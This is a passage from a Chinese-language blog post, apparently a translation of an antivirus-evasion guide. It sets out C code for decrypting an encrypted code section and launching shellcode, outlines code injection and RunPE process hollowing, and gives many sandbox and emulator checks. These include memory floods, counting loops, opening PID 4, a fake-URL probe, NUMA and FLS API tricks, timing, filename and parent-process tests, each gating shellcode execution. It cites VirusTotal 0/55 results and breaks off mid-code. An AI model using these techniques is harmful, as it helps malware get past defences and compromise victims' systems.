</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CODE_SIZE			0x14141414 </span></span><br><span class="line"> </span><br><span class="line"><span class="comment">/* Decrypt .code block encrypted by cryptor */</span></span><br><span class="line"><span class="comment">/* In this function do not declare array to avoid security cookies checks (see http://msdn.microsoft.com/en-us/library/8dbf701c.aspx) */</span></span><br><span class="line"><span class="comment">/* Or disable security check (GS- option) on prog compilation */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">decryptCodeSection</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	<span class="keyword">unsigned</span> <span class="keyword">char</span> *ptr;</span><br><span class="line">	<span class="keyword">long</span> <span class="keyword">int</span> i;</span><br><span class="line">	<span class="keyword">long</span> <span class="keyword">int</span> nbytes;</span><br><span class="line">	DWORD patience;</span><br><span class="line">	DWORD codeAddr;</span><br><span class="line"> </span><br><span class="line">	<span class="keyword">int</span> cpt = <span class="number">0</span>;</span><br><span class="line"> </span><br><span class="line">	BYTE  key[] = &#123; <span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>,<span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>,<span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>,<span class="string">&#x27;a&#x27;</span>,<span class="string">&#x27;b&#x27;</span>,<span class="string">&#x27;\0&#x27;</span>&#125;;</span><br><span class="line">	<span class="keyword">int</span> keyLength = <span class="number">8</span>;</span><br><span class="line">	ptr = (<span class="keyword">unsigned</span> <span class="keyword">char</span> *)CODE_BASE_ADDRESS;</span><br><span class="line">	nbytes = CODE_SIZE;</span><br><span class="line"> </span><br><span class="line">	<span class="comment">// Decrypt code segment    </span></span><br><span class="line">        <span class="keyword">for</span>( i = <span class="number">0</span> ; i &lt; nbytes ; i++ )</span><br><span class="line">        &#123;</span><br><span class="line">		ptr[i]=ptr[i]^key[cpt];</span><br><span class="line">		cpt = cpt + <span class="number">1</span>;</span><br><span class="line">		<span class="keyword">if</span>(cpt == keyLength)</span><br><span class="line">			cpt = <span class="number">0</span>;</span><br><span class="line">         &#125;</span><br><span class="line">	<span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	decryptCodeSection();</span><br><span class="line">	shellLaunch(); <span class="comment">/* Call function which executes shellcode now that it is decrypted */</span></span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br></pre></td></tr></table></figure>



<h1 id="复杂的方法"><a href="#复杂的方法" class="headerlink" title="复杂的方法"></a>复杂的方法</h1><h2 id="代码注入方法"><a href="#代码注入方法" class="headerlink" title="代码注入方法"></a>代码注入方法</h2><p>代码注入指在另一个进程内运行代码。这个一般通过DLL注入来实现，但也有其他可能存在的方法，甚至可能直接注入完整的exe： <a target="_blank" rel="noopener" href="https://blog.sevagas.com/?PE-injection-explained">https://blog.sevagas.com/?PE-injection-explained</a></p>
<p>虽然代码注入是一个恶意软件隐形的好办法，大量其中的代码也是可能通过启发式分析识别的</p>
<p>这就是为什么代码注入一般不用于绕过AV，而是使用后用来隐藏和获取特权（例如注入进浏览器的代码和浏览器一样有相同的访问防火墙的权限。</p>
<h2 id="RunPE方法"><a href="#RunPE方法" class="headerlink" title="RunPE方法"></a>RunPE方法</h2><p>这个方法是通过替换掉进程空间的代码从而在目标进程中运行我们想要运行的代码，和代码注入不同的是，在代码注入中你是在远程进程开辟的空间中执行代码；但是在RunPE这个技术中，你使用你想要执行的代码替换掉了远程进程的代码。</p>
<p>一个小例子：</p>
<p>恶意代码被加壳或者加密了，被插入到一个专门加载它的二进制代码中。当加载器执行，它将执行：</p>
<ul>
<li>使用CreateProcess打开一个合法的系统进程（例如：cmd.exe或者calc.exe）。</li>
<li>取消映射（Unmap）进程（使用NtUnmapViewOfSection）</li>
<li>使用恶意代码替换掉这个进程（使用WriteProcessMemory）</li>
</ul>
<p>当进程被DEP(数据执行保护)保护的时候，替换一个进程的内存不是很有可能的。</p>
<p>正如代码注入的方法一样，但是因为这篇文章的主题不是这方面的，所以没有给充分的代码。</p>
<h1 id="简单有效的方法"><a href="#简单有效的方法" class="headerlink" title="简单有效的方法"></a>简单有效的方法</h1><h2 id="Offer-you-have-to-refuse-方法"><a href="#Offer-you-have-to-refuse-方法" class="headerlink" title="Offer you have to refuse 方法"></a>Offer you have to refuse 方法</h2><p>AV扫描器主要的限制是需要在每个文件上花费大量的时间。在一个常规的系统扫描中，AV必须要分析成百上千的文件。它不能够花费过多的时间和力量在个别的文件上（这就可以在AV上导致一个拒绝服务攻击）。最简单绕过AV的方法是仅仅在代码解密之前，消耗掉AV足够的时间。一个简单的Sleep不能够实现这个技巧，AV模拟器已经适应了这个。无论如何有大量的方法可以实现取得时间。这个被叫做“Offer you have to refuse ”，因为它强行让AV去检查一些代码，这个会消耗掉AV大量的资源，因此我们确信在解密代码被执行之前AV会放弃这个检查。</p>
<h3 id="例子1：分配填充100M内存"><a href="#例子1：分配填充100M内存" class="headerlink" title="例子1：分配填充100M内存"></a>例子1：分配填充100M内存</h3><p>在下面的代码中，大部分的AV会在malloc的过程中仅仅停止，关于分配指针的条件验证甚至没有必要。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> TOO_MUCH_MEM 100000000</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> *memdmp = <span class="literal">NULL</span>;</span><br><span class="line">    memdmp = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(TOO_MUCH_MEM);</span><br><span class="line">    <span class="keyword">if</span> (memdmp != <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">memset</span>(memdmp, <span class="number">00</span>, TOO_MUCH_MEM);</span><br><span class="line">        <span class="built_in">free</span>(memdmp);</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>当时的VT：0&#x2F;55</p>
<h3 id="例子2：成百上千的递增"><a href="#例子2：成百上千的递增" class="headerlink" title="例子2：成百上千的递增"></a>例子2：成百上千的递增</h3><p>使用for循环去每次递增1，达到100万次。这个足以绕过杀软，而且对于现代CPU是可行的。一个人在运行这段代码不会检测到任何的异常。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MAX_OP 100000000</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> cpt = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">int</span> i = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; MAX_OP; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        cpt++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (cpt == MAX_OP)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h2 id="The-“I-shouldn’t-be-able-to-do-that-”-method"><a href="#The-“I-shouldn’t-be-able-to-do-that-”-method" class="headerlink" title="The “I shouldn’t be able to do that!” method"></a>The “I shouldn’t be able to do that!” method</h2><p>由于在一个仿真的系统里被推出，或许会有一些错误发生，代码或许在正常权限下不会运行。一般来说，在所有权限下，代码都将运行。这个能够被用来猜出这个代码是否在被分析。</p>
<h3 id="例子1：打开系统进程"><a href="#例子1：打开系统进程" class="headerlink" title="例子1：打开系统进程"></a>例子1：打开系统进程</h3><p>代码会尝试打开一般是拥有所有权限的4号系统进程。如果这个代码没有运行在系统MIC和ring0下，这个将会失败（OpenProcess会返回 00 ）。在这个VirusTotal中，你会看到这个不是FUD方法，而是绕过一些对这个特殊问题脆弱的杀软。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    HANDLE file;</span><br><span class="line">    HANDLE proc;</span><br><span class="line">    proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, <span class="number">4</span>);</span><br><span class="line">    <span class="keyword">if</span> (proc == <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h3 id="尝试打开一个不存在的URL"><a href="#尝试打开一个不存在的URL" class="headerlink" title="尝试打开一个不存在的URL"></a>尝试打开一个不存在的URL</h3><p>一种通常用来让代码自我意识到沙箱的方法是在互联网上下载一个特定的文件，并将其哈希与代码知道的哈希进行比较。</p>
<p>为什么这个有效呢？这是因为沙箱环境不给潜在的恶意代码访问互联网的权限。当一个被沙箱分析的文件访问互联网，沙箱只会发送其自身成的文件。因此代码可以通过比较这个文件和其所期望的文件进来判断是否处于沙箱之中。</p>
<p>这个方法有一点问题，首先，如果你没有互联网的访问权限这个就没有效。其次，如果<a target="_blank" rel="noopener" href="https://www.77169.net/downloads">下载</a>的文件改变或者被移除了，代码也不会有效。</p>
<p>另一个没有这些问题的方法是做这个相反的！尝试访问不存在的web域。在真实的世界里，这个会失败。在AV中，因为AV会使用其模拟的页面，这个方法是有效的。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Wininet.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">&quot;Wininet.lib&quot;</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">char</span> cononstart[] = <span class="string">&quot;http://www.notdetectedmaliciouscode.com//&quot;</span>; <span class="comment">// Invalid URL</span></span><br><span class="line">    <span class="keyword">char</span> readbuf[<span class="number">1024</span>];</span><br><span class="line">    HINTERNET httpopen, openurl;</span><br><span class="line">    DWORD read;</span><br><span class="line">    httpopen = InternetOpen(<span class="literal">NULL</span>, INTERNET_OPEN_TYPE_DIRECT, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="number">0</span>);</span><br><span class="line">    openurl = InternetOpenUrl(httpopen, cononstart, <span class="literal">NULL</span>, <span class="literal">NULL</span>, INTERNET_FLAG_RELOAD | INTERNET _FLAG_NO_CACHE_WRITE, <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (!openurl) <span class="comment">// Access failed, we are not in AV</span></span><br><span class="line">    &#123;</span><br><span class="line">        InternetCloseHandle(httpopen);</span><br><span class="line">        InternetCloseHandle(openurl);</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="comment">// Access successful, we are in AV and redirected to a custom webpage</span></span><br><span class="line">    &#123;</span><br><span class="line">        InternetCloseHandle(httpopen);</span><br><span class="line">        InternetCloseHandle(openurl);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h2 id="The-“Knowing-your-enemy”-method"><a href="#The-“Knowing-your-enemy”-method" class="headerlink" title="The “Knowing your enemy” method"></a>The “Knowing your enemy” method</h2><p>如果某些人知道了一些目标机器上的一些信息，绕过杀软会变得相当的容易。把代码解密机制链接到你知道目标计算机上的一些信息（或者工作组）。</p>
<h3 id="例子1：依赖于本地用户名的操作"><a href="#例子1：依赖于本地用户名的操作" class="headerlink" title="例子1：依赖于本地用户名的操作"></a>例子1：依赖于本地用户名的操作</h3><p>如果系统上某人的用户名已知，则可以根据该用户名请求操作。例如，我们可以尝试在用户帐户文件中写入和读取这些文件。在下面的代码中，我们在用户桌面上创建一个文件，我们在其中编写一些字符，然后只有打开文件并读取字符，我们才能启动解密方案。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> FILE_PATH <span class="meta-string">&quot;C:\\Users\\bob\\Desktop\\tmp.file&quot;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    HANDLE file;</span><br><span class="line">    DWORD tmp;</span><br><span class="line">    LPCVOID buff = <span class="string">&quot;1234&quot;</span>;</span><br><span class="line">    <span class="keyword">char</span> outputbuff[<span class="number">5</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    file = CreateFile(FILE_PATH, GENERIC_WRITE, <span class="number">0</span>, <span class="literal">NULL</span>, CREATE_ALWAYS,</span><br><span class="line">                      FILE_ATTRIBUTE_NORMAL, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (WriteFile(file, buff, <span class="built_in">strlen</span>((<span class="keyword">const</span> <span class="keyword">char</span> *)buff), &amp;tmp, <span class="literal">NULL</span>))</span><br><span class="line">    &#123;</span><br><span class="line">        CloseHandle(file);</span><br><span class="line">        file = CreateFile(FILE_PATH,</span><br><span class="line">                          GENERIC_READ,</span><br><span class="line">                          FILE_SHARE_READ,</span><br><span class="line">                          <span class="literal">NULL</span>,</span><br><span class="line">                          OPEN_EXISTING, <span class="comment">// existing file only</span></span><br><span class="line">                          FILE_ATTRIBUTE_NORMAL,</span><br><span class="line">                          <span class="literal">NULL</span>);</span><br><span class="line">        <span class="keyword">if</span> (ReadFile(file, outputbuff, <span class="number">4</span>, &amp;tmp, <span class="literal">NULL</span>))</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">strncmp</span>(buff, outputbuff, <span class="number">4</span>) == <span class="number">0</span>)</span><br><span class="line">            &#123;</span><br><span class="line">                decryptCodeSection();</span><br><span class="line">                startShellCode();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        CloseHandle(file);</span><br><span class="line">    &#125;</span><br><span class="line">    DeleteFile(FILE_PATH);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h2 id="The-“WTF-is-that-”-method"><a href="#The-“WTF-is-that-”-method" class="headerlink" title="The “WTF is that?” method"></a>The “WTF is that?” method</h2><p>这节是关于win api的东西</p>
<h3 id="例子1：What-the-fuck-is-NUMA"><a href="#例子1：What-the-fuck-is-NUMA" class="headerlink" title="例子1：What the fuck is NUMA?"></a>例子1：What the fuck is NUMA?</h3><p>NUMA代表Non Uniform Memory Access（非一致内存访问）。它是一个在多系统中配置内存管理的方法。它链接到在 Kernel32.dll 中声明的一整套函数</p>
<p>更多信息：<a target="_blank" rel="noopener" href="https://docs.microsoft.com/zh-cn/windows/win32/procthread/numa-support?redirectedfrom=MSDN">https://docs.microsoft.com/zh-cn/windows/win32/procthread/numa-support?redirectedfrom=MSDN</a></p>
<p>下面的代码在物理环境中有效，av环境中失效</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    LPVOID mem = <span class="literal">NULL</span>;</span><br><span class="line">    mem = VirtualAllocExNuma(GetCurrentProcess(), <span class="literal">NULL</span>, <span class="number">1000</span>, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (mem != <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h3 id="例子2：What-the-fuck-are-FLS"><a href="#例子2：What-the-fuck-are-FLS" class="headerlink" title="例子2：What the fuck are FLS?"></a>例子2：What the fuck are FLS?</h3><p>FLS是Fiber Local Storage(纤程本地存储），被用来操纵与纤程相关的数据。纤程是一整套运行在线程里的可执行组件。参考这里：<a target="_blank" rel="noopener" href="https://docs.microsoft.com/zh-cn/windows/win32/procthread/fibers?redirectedfrom=MSDN">https://docs.microsoft.com/zh-cn/windows/win32/procthread/fibers?redirectedfrom=MSDN</a></p>
<p>在一些av环境中，对于FlsAlloc函数总是返回FLS_OUT_OF_INDEXES</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    DWORD result = FlsAlloc(<span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">if</span> (result != FLS_OUT_OF_INDEXES)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h2 id="The-“Checking-the-environment”-method"><a href="#The-“Checking-the-environment”-method" class="headerlink" title="The “Checking the environment” method"></a>The “Checking the environment” method</h2><p>如果AV依赖于一个沙盒&#x2F;仿真环境，一般其环境与真实的环境是不一样的。有大量的方法做这种检查。下面描述了其中两种方法：</p>
<h3 id="例子1：检查进程内存"><a href="#例子1：检查进程内存" class="headerlink" title="例子1：检查进程内存"></a>例子1：检查进程内存</h3><p>使用Sysinternals工具，当一个AV扫描一个进程的时候，会改变它的内存。AV会为进程开辟内存，仿真的代码进程API也会返回与我们预期不同的值。在这种情况下，我在当前进程使用GetProcessMemoryInfo。如果当前工作设置大于3500000 bytes，我认为这个代码运行在一个AV环境中，如果不是，那么这个代码就解密并运行。</p>
<figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Psapi.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">&quot;Psapi.lib&quot;</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    PROCESS_MEMORY_COUNTERS pmc;</span><br><span class="line">    <span class="built_in">GetProcessMemoryInfo</span>(<span class="built_in">GetCurrentProcess</span>(), &amp;pmc, <span class="built_in"><span class="keyword">sizeof</span></span>(pmc));</span><br><span class="line">    <span class="keyword">if</span> (pmc.WorkingSetSize &lt;= <span class="number">3500000</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="built_in">decryptCodeSection</span>();</span><br><span class="line">        <span class="built_in">startShellCode</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h3 id="例子2：-Time-distortion"><a href="#例子2：-Time-distortion" class="headerlink" title="例子2： Time distortion"></a>例子2： Time distortion</h3><p>我们知道Sleep函数是被AV仿真了。做这个是为了阻止使用一个简单的Sleep调用就绕过扫描时间限制。这个问题是，是否在这个模拟的Sleep方式中存在缺陷？</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;time.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">&quot;winmm.lib&quot;</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    DWORD mesure1;</span><br><span class="line">    DWORD mesure2;</span><br><span class="line">    mesure1 = timeGetTime();</span><br><span class="line">    Sleep(<span class="number">1000</span>);</span><br><span class="line">    mesure2 = timeGetTime();</span><br><span class="line">    <span class="keyword">if</span> ((mesure2 &gt; (mesure1 + <span class="number">1000</span>)) &amp;&amp; (mesure2 &lt; (mesure1 + <span class="number">1005</span>)))</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h3 id="例子3：What-is-my-name"><a href="#例子3：What-is-my-name" class="headerlink" title="例子3：What is my name?"></a>例子3：What is my name?</h3><p>直接看代码都能懂</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(argv[<span class="number">0</span>], <span class="string">&quot;test.exe&quot;</span>) &gt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        decryptCodeSection();</span><br><span class="line">        startShellCode();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<h2 id="The-“I-call-myself”-method"><a href="#The-“I-call-myself”-method" class="headerlink" title="The “I call myself” method"></a>The “I call myself” method</h2><p>这是环境检查方法的一个变体。AV只有在以某种方式调用时才会触发代码</p>
<h3 id="例子1：I-am-my-own-father"><a href="#例子1：I-am-my-own-father" class="headerlink" title="例子1：I am my own father"></a>例子1：I am my own father</h3><p>在这个例子中，如果它的父进程也是test.exe的话，可执行文件（test.exe）才会进入解密的分支。当代码被安装，它会获取其父进程的ID，如果其父进程不是test.exe，它会调用test.exe然后停止。被调用的进程也有一个叫test.xee的父进程并且进入解密部分。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;TlHelp32.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;Psapi.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">&quot;Psapi.lib&quot;</span>)</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> pid = <span class="number">-1</span>;</span><br><span class="line">    HANDLE hProcess;</span><br><span class="line">    HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, <span class="number">0</span>);</span><br><span class="line">    PROCESSENTRY32 pe = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    pe.dwSize = <span class="keyword">sizeof</span>(PROCESSENTRY32);</span><br><span class="line">    <span class="comment">// Get current PID</span></span><br><span class="line">    pid = GetCurrentProcessId();</span><br><span class="line">    <span class="keyword">if</span> (Process32First(h, &amp;pe))</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// find parent PID</span></span><br><span class="line">        <span class="keyword">do</span></span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">if</span> (pe.th32ProcessID == pid)</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="comment">// Now we have the parent ID, check the module name</span></span><br><span class="line">                <span class="comment">// Get a handle to the process.</span></span><br><span class="line">                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE,</span><br><span class="line">                                       pe.th32ParentProcessID);</span><br><span class="line">                <span class="comment">// Get the process name.</span></span><br><span class="line">                <span class="keyword">if</span> (<span class="literal">NULL</span> != hProcess)</span><br><span class="line">                &#123;</span><br><span class="line">                    HMODULE hMod;</span><br><span class="line">                    DWORD cbNeeded;</span><br><span class="line">                    TCHAR processName[MAX_PATH];</span><br><span class="line">                    <span class="keyword">if</span> (EnumProcessModules(hProcess, &amp;hMod, <span class="keyword">sizeof</span>(hMod), &amp;cbNeeded))</span><br><span 